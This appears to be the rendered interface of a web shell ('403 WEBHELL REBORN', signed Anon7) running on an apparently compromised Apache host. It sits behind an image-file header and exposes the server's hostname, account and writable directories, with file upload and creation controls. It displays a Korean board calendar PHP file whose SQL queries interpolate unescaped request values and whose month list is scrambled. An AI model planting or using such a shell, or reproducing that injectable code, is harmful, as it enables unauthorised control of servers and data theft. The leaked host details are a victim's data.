ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/skin/board/cal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/skin/board/cal/calendar.php
<style> 
    a:link{color:#828282;text-decoration:none;} 
    a:visited{color:#828282;text-decoration:none;} 
    a:active{color:#828282;text-decoration:none;} 
    a:hover{color:#ff0000;text-decoration:underline} 
    body , td { font-family:dotum;}
</style> 

<?

    if ($curM =="") 
    { 
        $tmpDate = getdate(); 
        $curY = $tmpDate[year]; 
        $curM = $tmpDate[mon]; 
        $curD = $tmpDate[mday]; 
        $today_text1 = $curY."년 ".$curM."월";
    } 
    
    if($Year !=''){
    	$curY = 	$Year;
    } 

    $preM = $curM - 1; 
    $nextM = $curM + 1; 
    $preY = $curY; 
    $nextY = $curY; 
     
    if ($curM==1) 
    { 
        $preM = 12; 
        $preY = $curY - 1; 
    } 
    elseif($curM==12) 
    { 
        $nextM = 1; 
        $nextY = $curY + 1; 
    } 
         
    $preDate = mktime(0,0,0,$preM, 1,$preY); 
    $curDate = mktime(0,0,0,$curM, 1,$curY); 
    $nextDate = mktime(0,0,0,$nextM, 1,$nextY); 

    $preMaxday = date(t,$preDate); 
    $curMaxday = date(t,$curDate); 
    $nextMaxday = date(t,$nextDate); 

    $preFw = date(w,$preDate);    
    $curFw = date(w,$curDate);    
    $nextFw = date(w,$nextDate);   

    $preJu = floor(($preMaxday+$preFw)/7)+1 ;     // 
    $curJu =floor(($curMaxday+$curFw)/7)+2 ;     // 
    $nextJu = floor(($nextMaxday+$nextFw)/7)+1 ;     // 
    $yoil = array('','SUN','MON','TUE','WED','THU','FRI','SAT');  
    $month = array('','January','February','May','April','March','June','July','August','September','October','November','December'); 
  
    $cur = 0; 
    echo "
    <div align=center>
	    <table border=0 width=695 height=700 cellspacing=1 cellpadding=0 bgcolor=#dddddd >"; 
		    for($row = 0;$row<=$curJu;$row++) 
		    { 
		        //row에 대한 첫번째 루프라면 현재달과 전달 다음달을 표시하기위한 칸 
		        if ($row==0) 
		        { 
		            
		            $tdT = $optionT ="";
		            
			            for($y =2011; $y < 2020; $y++){											
										$sel = "";
										if( $y == $curY ){ $sel = "selected"; }
										$optionT .="<option value=$y $sel >$y</option>";
										
									}
									
									for($i=1; $i < 13; $i++){
										$bgc = ($curM == sprintf('%02d',$i)) ?"#ff6600":"#000000";
										$tdT .="<td onclick=\"location.href='$PHP_SELF?bo_table=$bo_table&curY=$curY&curM=".sprintf('%02d',$i)."&curD=$curD'\" style='color:$bgc;cursor:hand; border:1 solid #cccccc; background:#ffffff;font-size:9pt' align=center>${i}월</td>";
									}
										 
			            echo "
				            <tr height=20><td colspan=13 align=center width=100%>
					            <table cellpadding=5 cellspacing=5 width=80%>
						            <form name=Yform method=post>
						            <input type=hidden name=curM value='$curM' >
						            <input type=hidden name=curD value='$curD' >
							            <tr>
							            	<td ><select name=curY onchange=\"javascript:document.Yform.submit();\">$optionT</select></td>
							            $tdT
							            </tr>
						            </form>
					            </table>
				            </td></tr>";
			        } 
			        else 
			        {             
			            echo "<tr bgcolor='#FFFFFF'>";    
			             
			            for($col = 1;$col<=7;$col++)   
			            {   $reserve_info="";              
			                if($row==1)    
			                { 
			                    echo "<td height=30 width=14.2857% align=center style='font-size:10pt;font-weight:bold'><font face='arial black'>"; 
			                    echo "<font color=black>"; 
			                    if ($col==1) echo "<font color=red>"; 
			                    if ($col==7) echo "<font color=blue>"; 
			                    echo "$yoil[$col]</font><br>"; 
			                    
			                }else{                     
			                    $cur++;   
			                    if (($cur<=$curFw) || ($cur > ($curMaxday+$curFw)) == true) 
			                    {                         
			                        		echo "<td valign=top> ";     
			                        
			                    }else{ 
			                        
			                        $day_fnc = $cur-$curFw;
			                         
			                        if (($cur-$curFw)==$curD)
			                        { 
			                            echo "<td valign=top>";
			                            $date_td = "#CFE8F2";
			                            
			                        }else{ 
			                            
			                            echo "<td valign=top>";
			                            $date_td = "#ffffff";
			                            
			                        } 
			                        
			                        switch($col){
			                        	case 1 : $fontC = "red";  $boldT = "bold"; break;
					                      case 7 : $fontC = "blue"; $boldT = "bold"; break;
					                      default :  $fontC = "black"; $boldT = "";
					                    }
					                    
					                    $wr_date  = $curY."-".sprintf('%02d',$curM)."-".sprintf('%02d',$cur-$curFw);
					                    $onclickT = "location.href='$PHP_SELF?bo_table=$bo_table&curY=$curY&curM=".sprintf('%02d',$curM)."&curD=".($cur-$curFw )."&sca=&sfl=wr_datetime&stx=$wr_date&sop=and'";
					                    
					                    
					                    $cRow     = sql_fetch("SELECT GROUP_CONCAT(ss.cnt) as cnt FROM ( SELECT COUNT(wr_id) AS cnt FROM $write_table WHERE SUBSTR(wr_datetime,1,10) ='$wr_date' GROUP BY wr_is_comment )ss ");
					                    $cntData  = explode(",",$cRow[cnt]);
					                    					                    
					                    /* 서브쿼리 지원안되는 mysql버전에서는 line 142 143을 빼고 아래소스를 활용하세요 
					                    $boardCnt     = sql_fetch("SELECT COUNT(wr_id) AS cnt FROM $write_table WHERE SUBSTR(wr_datetime,1,10) ='$wr_date' AND wr_is_comment = 0");
					                    $commentCnt     = sql_fetch("SELECT COUNT(wr_id) AS cnt FROM $write_table WHERE SUBSTR(wr_datetime,1,10) ='$wr_date' AND wr_is_comment = 1");   
					                    $cntData[0] = $boardCnt[cnt];
					                    $cntData[1] = $commentCnt[cnt];
					                    */
					                    
					                    if(!$cntData[0]) $cntData[0]=0;
					                    if(!$cntData[1]) $cntData[1]=0;
					                    
			                        echo "
			                        <table border=0 height=100% bgcolor=$date_td width=100% height=100% cellspacing=0 cellpadding=2>
			                        	<tr>
			                        		<td valign=top style='cursor:hand' onclick=\"$onclickT\">
			                        			<table border=0 cellspacing=0 cellpadding=2>
			                        				<tr>
			                        					<td colspan=2 style='color:$fontC;font-size:9pt;font-weight:$boldT'>".($cur-$curFw )."</td>
			                        				</tr>
			                        				
			                        				<tr>
			                        					<td>게시글</td><td>:".$cntData[0]." 개</td>
			                        				</tr>
			                        				<tr>
			                        					<td>댓글</td><td>:".$cntData[1]." 개</td>
			                        				</tr>
			                        			</table>
			                        		
			                        	</tr>
			                        </table>"; 
			                    } 
			                } 
			                
			                echo "</td>"; 
			            }
			             
			            echo "</tr>"; 
		        } 
		    } 
	
	    echo "</table></div><br><br>"; 

?> 

Anon7 - 2021